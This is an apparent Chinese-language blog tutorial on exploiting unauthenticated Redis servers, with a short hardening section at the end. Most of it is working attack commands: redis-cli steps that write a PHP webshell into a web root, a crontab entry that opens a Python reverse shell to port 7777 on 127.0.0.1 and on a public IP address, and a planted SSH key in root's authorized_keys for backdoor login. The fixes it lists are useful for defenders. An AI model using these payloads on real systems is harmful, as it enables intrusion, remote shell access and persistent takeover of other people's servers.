Do Evil Via Redis Unauthorized Access
0x01 关于 Redis
REmote DIctionary Server(Redis) 是一个开源的使用 ANSIC 语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value 数据库,并提供多种语言的 API。它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。
Redis 是一个 NoSQL 的数据库(NoSQL 泛指非关系型的数据库,常用的 Mysql是关系型数据库),数据通过键/值对存储在内存中。默认配置中,在服务运行的时候,会开放一个没有验证的 TCP/6379 端口,提供的这个接口是很 "宽容"。它会尝试去解析处理每一次输入(直到超时或者输 入 QUIT
命令退出),对于那些不存在的命令,则会显示像 "-ERR unknown command" 这样的输出。
在运行时, Redis 以数据结构的形式将数据维持在内存中, 为了让这些数据在 Redis 重启之后仍然可用, Redis 分别提供了 RDB 和 AOF 两种持久化模式。
-
RDB 将数据库的快照以二进制的方式保存到磁盘中。在 Redis 运行时, RDB 程序将当前内存中的数据库快照保存到磁盘文件中, 在 Redis 重启动时, RDB 程序可以通过载入 RDB 文件来还原数据库的状态。
-
AOF 则以协议文本的方式,将所有对数据库进行过写入的命令(及其参数)记录到 AOF 文件,以此达到记录数据库状态的目的。AOF 持久性会记录服务器接收的每个写入操作,这些操作将在服务器启动时再次重放,以重建原始数据集。 使用与 Redis 协议本身相同的格式记录命令,并且采用仅追加方式。当日志太大时,Redis 可以在后台重写日志。
Redis 配置中几个关键项目:
dir 指定的是 redis 的“工作路径”,之后生成的 RDB 和 AOF 文件都会存储在这里。
dbfilename RDB 文件名,默认为 “dump.rdb”
appendonly 是否开启 AOF
appendfilename AOF 文件名,默认为 “appendonly.aof”
appendfsync AOF 备份方式:always、everysec、no
我们可以通过指定 dir 和 dbfilename,执行 save / bgsave,即可实现任意文件的写入。Redis 默认的配置是使用 6379 端口且默认无密码,所以如果这个端口对公网开放时就很容易出问题,会导致未授权访问进而可利用 Redis 权限写文件:
-
在 Redis 有 Web 目录写权限时,我们可以向 Web 应用绝对路径写入 Webshell;
-
在 Redis 以 root 权限运行时,我们可以通过写 Crontab 来执行命令反弹 shell 或吸入 ssh-keygen 公钥然后使用私钥登陆。
0x02 写 Webshell
* Kali 下部署 Redis:
# Download
wget http://download.redis.io/releases/redis-stable.tar.gz
# Decompression
tar -zxvf redis-stable.tar.gz
# Compile
cd redis-stable
make
# Run
cd src
./redis-server
⚡root@Kali /home/redis-stable/src > ./redis-cli
127.0.0.1:6379> config set dir /var/www/html
OK
127.0.0.1:6379> config set dbfilename redis.php
OK
127.0.0.1:6379> set shell "<?php phpinfo(); ?>"
OK
127.0.0.1:6379> save
OK
* 设置可远程访问:
# 编辑 redis.conf
vim redis.conf
# 注释掉该IP地址,表示允许所有网络地址访问
bind 127.0.0.1
# 修改运行时不受保护
protected-mode no
# 修该为守护进程/后台程序(无需进行此操作,数据只会在后台运行时会保存,关闭将清空)
daemonize yes
# 启动
cd src
./redis-cli
# 修改运行时不受保护
config set protected-mode no
# 设置密码
config set requirepass password
# 密码登录
./redis-cli
auth password
0x03 Crontab 定时任务
Crontab 命令常见于 Unix 和类 Unix 的操作系统之中,用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于 crontab
文件中,以供之后读取和执行,定时任务在 Linux 中主要有 2 个地方体现:
-
/etc/crontab
,只有 root 用户可以使用,使用时需 root 权限,而且必须指定运行用户。*/1 * * * * * root /usr/sbin/ntpdate s1a.time.edu.cn &> /dev/null
*(分) *(时) *(天) *(月)*(周)
/
(每)-
(连续的时间),
(离散时间)*
(所有都匹配)# /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # Example of job definition: # .---------------- minute (0 - 59) # | .------------- hour (0 - 23) # | | .---------- day of month (1 - 31) # | | | .------- month (1 - 12) OR jan,feb,mar,apr ... # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat # | | | | | # * * * * * user-name command to be executed 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
-
/var/spool/cron/$USER
,所有用户都可以使用,可以使用crontab -u username -e
命令来直接编辑这个文件。- CentOS 的定时任务在 /var/spool/cron/root/
- Ubuntu 的定时任务在 /var/spool/cron/crontabs/root/
- Ubuntu 用户定时任务必须在 600 权限才能执行
- Ubuntu 不能使用 bash 反弹 shell
(crontab -l;printf "* * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n")|crontab -
-
crontab -
将管道符前面的内容写入到当前用户的 crontab 文件里; -
* * * * *
表示每一分钟执行该命令,等同于*/1 * * * *
.
如果是 ubuntu 的 root 权限,以上命令会写到 /var/spool/cron/crontabs/root
文件;如果是 centos 的 root 权限,以上命令则会写到 /var/spool/cron/root
文件。
echo -e "\n\n* * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"47.98.224.70\",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n" | ./redis-cli -h 127.0.0.1 -x set shell
0x04 SSH 后门植入
本地生成 ssh 秘钥:
⚡root@Kali ~/桌面 > ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Created directory '/root/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:o//N3gbnXInV5hhN+wZp438tnL6A6AoDSBmMGOPuf88 root@Kali
The key's randomart image is:
+---[RSA 3072]----+
|*o |
|+oo .|
| + +o|
|o. *o+|
|... S ooBo|
|. . . o ...+.=|
| . o . . . .* =.|
| . +.o o oB +|
| .. oEo...+o+o.|
+----[SHA256]-----+
取出公钥:
⚡root@Kali ~/.ssh > cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDGIfblo3aG879O1+EpZFO2TKzCuy7nVW/jNcGCr/sX0lzvmZuGvxB4cAqbBHi0mvEXZu85kmodyhgD3BZltzifTy0wOr3vtyxjea/r4K+i+OyxGTrtXWkqaEtIhPg2aIifGSdwPhc5hpIC1L9FyNiAA9l7gKt2J/IWxmAYkfCPL56j/7W2DHgX822Pfv7Ib3dtFZJ3l60ziWgpfLWRL8Th+04JfvhgnZGFYBKhTROu4RnrHPdrPg+yzIFXMRpJWb1qrsXnsw5pg5g3mmHs9P5BjG1fLkLQ0H2XyF8wY8QNFVOqFahk99ApNWA6QLoW92ZuZH9cibcXoB2l1Xspxf77/QUAjwIdga5jLtJ5vvmf0qBvbdSIwtBp1ZE57EN58uqahWee6vXWMzUSOD17ynwbK9j/QQOWdC/CUBxmYBp9grMVz2AgbdfpI28Z64KAUWHNUAalstRDXxdJ9XFsBhAN2UBUd9x9wCi2OUVhUleiTNepY38pfk9v0NAkb3eNDn0= root@Kali
写入 Redis :
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDGIfblo3aG879O1+EpZFO2TKzCuy7nVW/jNcGCr/sX0lzvmZuGvxB4cAqbBHi0mvEXZu85kmodyhgD3BZltzifTy0wOr3vtyxjea/r4K+i+OyxGTrtXWkqaEtIhPg2aIifGSdwPhc5hpIC1L9FyNiAA9l7gKt2J/IWxmAYkfCPL56j/7W2DHgX822Pfv7Ib3dtFZJ3l60ziWgpfLWRL8Th+04JfvhgnZGFYBKhTROu4RnrHPdrPg+yzIFXMRpJWb1qrsXnsw5pg5g3mmHs9P5BjG1fLkLQ0H2XyF8wY8QNFVOqFahk99ApNWA6QLoW92ZuZH9cibcXoB2l1Xspxf77/QUAjwIdga5jLtJ5vvmf0qBvbdSIwtBp1ZE57EN58uqahWee6vXWMzUSOD17ynwbK9j/QQOWdC/CUBxmYBp9grMVz2AgbdfpI28Z64KAUWHNUAalstRDXxdJ9XFsBhAN2UBUd9x9wCi2OUVhUleiTNepY38pfk9v0NAkb3eNDn0= root@Kali\n\n\n"
save
ssh -i id_rsa root@host
0x05 修复建议
1. 禁止一些高危命令。修改 redis.conf
文件,添加如下选项来禁用远程修改 dir/dbfilename。
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
2. 以低权限运行 Redis 服务。为 Redis 创建单独的用户和家目录,并配置禁止登陆。
groupadd -r redis && useradd -r -g redis redis
3. 为 Redis 添加密码验证。修改 redis.conf ,添加:
requirepass mypassword
4. 禁止外网访问 Redis。修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用:
bind 127.0.0.1
5. 保证 authorized_keys
文件的安全。为保证安全,阻止其他用户添加新的公钥。将 authorized_keys
的权限设置为对拥有者只读,其他用户没有任何权限:
chmod 400 ~/.ssh/authorized_keys
为保证 authorized_keys 的权限不会被改掉,还可以设置该文件的 immutable
位权限:
chattr +i ~/.ssh/authorized_keys
然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 位权限:
chattr +i ~/.ssh
*注:如果需要添加新的公钥,需要移除 authorized_keys 的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上 immutable 位权限。
6. 设置防火墙策略。
- 参考 -
[1] Trying to hack Redis via HTTP requests